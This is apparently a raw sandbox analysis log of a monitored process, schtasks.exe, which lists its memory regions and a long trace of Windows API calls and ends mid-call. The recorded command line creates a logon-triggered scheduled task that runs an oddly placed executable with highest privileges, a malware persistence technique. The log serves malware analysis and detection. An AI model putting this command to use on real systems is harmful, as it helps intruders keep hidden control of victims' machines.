"c:\\windows\\system32\\schtasks.exe" page_root = "0x42c67000" os_pid = "0xeac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"whatever_only\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1500 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1501 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1502 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1503 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1504 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1505 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1506 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1507 start_va = 0xffc80000 end_va = 0xffcc7fff monitored = 1 entry_point = 0xffca966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1508 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1509 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1510 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1511 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1512 start_va = 0x100000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1513 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1514 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1515 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1516 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1517 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1518 start_va = 0x210000 end_va = 0x276fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1519 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1520 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1521 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1522 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1523 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1524 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1525 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1526 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1527 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1528 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1529 start_va = 0x280000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1530 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1531 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1532 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1533 start_va = 0x3c0000 end_va = 0x547fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1534 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1535 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1536 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1537 start_va = 0x550000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1538 start_va = 0x6e0000 end_va = 0x1adffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1539 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1540 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1541 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1544 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1545 start_va = 0x1ae0000 end_va = 0x1daefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1548 start_va = 0x1db0000 end_va = 0x1e2cfff monitored = 0 entry_point = 0x1dbcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1549 start_va = 0x1db0000 end_va = 0x1e2cfff monitored = 0 entry_point = 0x1dbcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1550 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1551 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1552 start_va = 0x1db0000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 1556 start_va = 0x1e90000 end_va = 0x1f6efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 1557 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1562 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 1563 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1566 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1567 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1568 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1569 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1570 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1571 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1613 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1622 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 102 os_tid = 0xeb0 [0126.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffec0 | out: lpSystemTimeAsFileTime=0xffec0*(dwLowDateTime=0x1b0a44c0, dwHighDateTime=0x1d8a92a)) [0126.875] GetCurrentProcessId () returned 0xeac [0126.875] GetCurrentThreadId () returned 0xeb0 [0126.875] GetTickCount () returned 0x13855e2 [0126.875] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xffec8 | out: lpPerformanceCount=0xffec8*=2060573832759) returned 1 [0126.875] GetModuleHandleW (lpModuleName=0x0) returned 0xffc80000 [0126.875] __set_app_type (_Type=0x1) [0126.876] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffca972c) returned 0x0 [0126.876] __wgetmainargs (in: _Argc=0xffcc1240, _Argv=0xffcc1250, _Env=0xffcc1248, _DoWildCard=0, _StartInfo=0xffcc125c | out: _Argc=0xffcc1240, _Argv=0xffcc1250, _Env=0xffcc1248) returned 0 [0126.876] _onexit (_Func=0xffcb2ab0) returned 0xffcb2ab0 [0126.877] _onexit (_Func=0xffcb2ac4) returned 0xffcb2ac4 [0126.877] _onexit (_Func=0xffcb2afc) returned 0xffcb2afc [0126.877] _onexit (_Func=0xffcb2b58) returned 0xffcb2b58 [0126.877] _onexit (_Func=0xffcb2b80) returned 0xffcb2b80 [0126.877] _onexit (_Func=0xffcb2ba8) returned 0xffcb2ba8 [0126.877] _onexit (_Func=0xffcb2bd0) returned 0xffcb2bd0 [0126.877] _onexit (_Func=0xffcb2bf8) returned 0xffcb2bf8 [0126.877] _onexit (_Func=0xffcb2c20) returned 0xffcb2c20 [0126.877] _onexit (_Func=0xffcb2c48) returned 0xffcb2c48 [0126.878] _onexit (_Func=0xffcb2c70) returned 0xffcb2c70 [0126.878] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.878] WinSqmIsOptedIn () returned 0x0 [0126.915] GetProcessHeap () returned 0x110000 [0126.915] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12b9b0 [0126.915] SetLastError (dwErrCode=0x0) [0126.916] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0126.916] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0126.916] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0126.916] VerifyVersionInfoW (in: lpVersionInformation=0xff680, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff680) returned 1 [0126.916] GetProcessHeap () returned 0x110000 [0126.916] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12b9d0 [0126.917] lstrlenW (lpString="") returned 0 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x2) returned 0x12b9f0 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125950 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12ba10 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125980 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x1259b0 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x1259e0 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125a10 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12ba30 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125a40 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125a70 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125aa0 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125ad0 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12ba50 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b00 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b30 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b60 [0126.917] GetProcessHeap () returned 0x110000 [0126.917] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b90 [0126.917] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.918] SetLastError (dwErrCode=0x0) [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125bc0 [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125bf0 [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125c20 [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125c50 [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125c80 [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12ba70 [0126.918] _memicmp (_Buf1=0x12ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.918] GetProcessHeap () returned 0x110000 [0126.918] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x208) returned 0x12bc10 [0126.918] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0126.918] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0126.922] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0126.922] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0126.923] GetProcessHeap () returned 0x110000 [0126.923] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x74e) returned 0x12c1c0 [0126.923] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0126.923] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x12c1c0 | out: lpData=0x12c1c0) returned 1 [0126.923] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0126.923] VerQueryValueW (in: pBlock=0x12c1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff768, puLen=0xff7d0 | out: lplpBuffer=0xff768*=0x12c55c, puLen=0xff7d0) returned 1 [0126.926] _memicmp (_Buf1=0x12ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.926] _vsnwprintf (in: _Buffer=0x12bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff748 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0126.926] VerQueryValueW (in: pBlock=0x12c1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff7d8, puLen=0xff7c8 | out: lplpBuffer=0xff7d8*=0x12c388, puLen=0xff7c8) returned 1 [0126.926] lstrlenW (lpString="schtasks.exe") returned 12 [0126.926] lstrlenW (lpString="schtasks.exe") returned 12 [0126.926] lstrlenW (lpString=".EXE") returned 4 [0126.927] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0126.928] lstrlenW (lpString="schtasks.exe") returned 12 [0126.928] lstrlenW (lpString=".EXE") returned 4 [0126.928] _memicmp (_Buf1=0x12ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.928] lstrlenW (lpString="schtasks") returned 8 [0126.928] GetProcessHeap () returned 0x110000 [0126.928] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125d70 [0126.928] GetProcessHeap () returned 0x110000 [0126.928] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cad0 [0126.928] GetProcessHeap () returned 0x110000 [0126.928] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cb00 [0126.928] GetProcessHeap () returned 0x110000 [0126.928] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cb30 [0126.928] GetProcessHeap () returned 0x110000 [0126.928] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12ba90 [0126.928] _memicmp (_Buf1=0x12ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xa0) returned 0x12c010 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cb60 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cb90 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cbc0 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bab0 [0126.929] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x200) returned 0x12d2a0 [0126.929] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0126.929] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x30) returned 0x127a70 [0126.929] _vsnwprintf (in: _Buffer=0x12c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff748 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1c0) returned 1 [0126.929] GetProcessHeap () returned 0x110000 [0126.929] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c1c0) returned 0x74e [0126.930] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1c0 | out: hHeap=0x110000) returned 1 [0126.930] SetLastError (dwErrCode=0x0) [0126.930] GetThreadLocale () returned 0x409 [0126.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.930] lstrlenW (lpString="?") returned 1 [0126.931] GetThreadLocale () returned 0x409 [0126.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.931] lstrlenW (lpString="create") returned 6 [0126.931] GetThreadLocale () returned 0x409 [0126.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.931] lstrlenW (lpString="delete") returned 6 [0126.931] GetThreadLocale () returned 0x409 [0126.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.931] lstrlenW (lpString="query") returned 5 [0126.931] GetThreadLocale () returned 0x409 [0126.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.931] lstrlenW (lpString="change") returned 6 [0126.931] GetThreadLocale () returned 0x409 [0126.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.932] lstrlenW (lpString="run") returned 3 [0126.932] GetThreadLocale () returned 0x409 [0126.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.932] lstrlenW (lpString="end") returned 3 [0126.932] GetThreadLocale () returned 0x409 [0126.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.932] lstrlenW (lpString="showsid") returned 7 [0126.932] GetThreadLocale () returned 0x409 [0126.932] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.932] SetLastError (dwErrCode=0x0) [0126.932] SetLastError (dwErrCode=0x0) [0126.932] lstrlenW (lpString="/create") returned 7 [0126.932] lstrlenW (lpString="-/") returned 2 [0126.932] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.932] lstrlenW (lpString="?") returned 1 [0126.933] lstrlenW (lpString="?") returned 1 [0126.933] GetProcessHeap () returned 0x110000 [0126.933] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12c1c0 [0126.934] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.934] GetProcessHeap () returned 0x110000 [0126.934] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xa) returned 0x12c1e0 [0126.934] lstrlenW (lpString="create") returned 6 [0126.934] GetProcessHeap () returned 0x110000 [0126.934] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12c200 [0126.934] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.934] GetProcessHeap () returned 0x110000 [0126.934] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x14) returned 0x12c220 [0126.934] _vsnwprintf (in: _Buffer=0x12c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff758 | out: _Buffer="|?|") returned 3 [0126.934] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x9, _Format="|%s|", 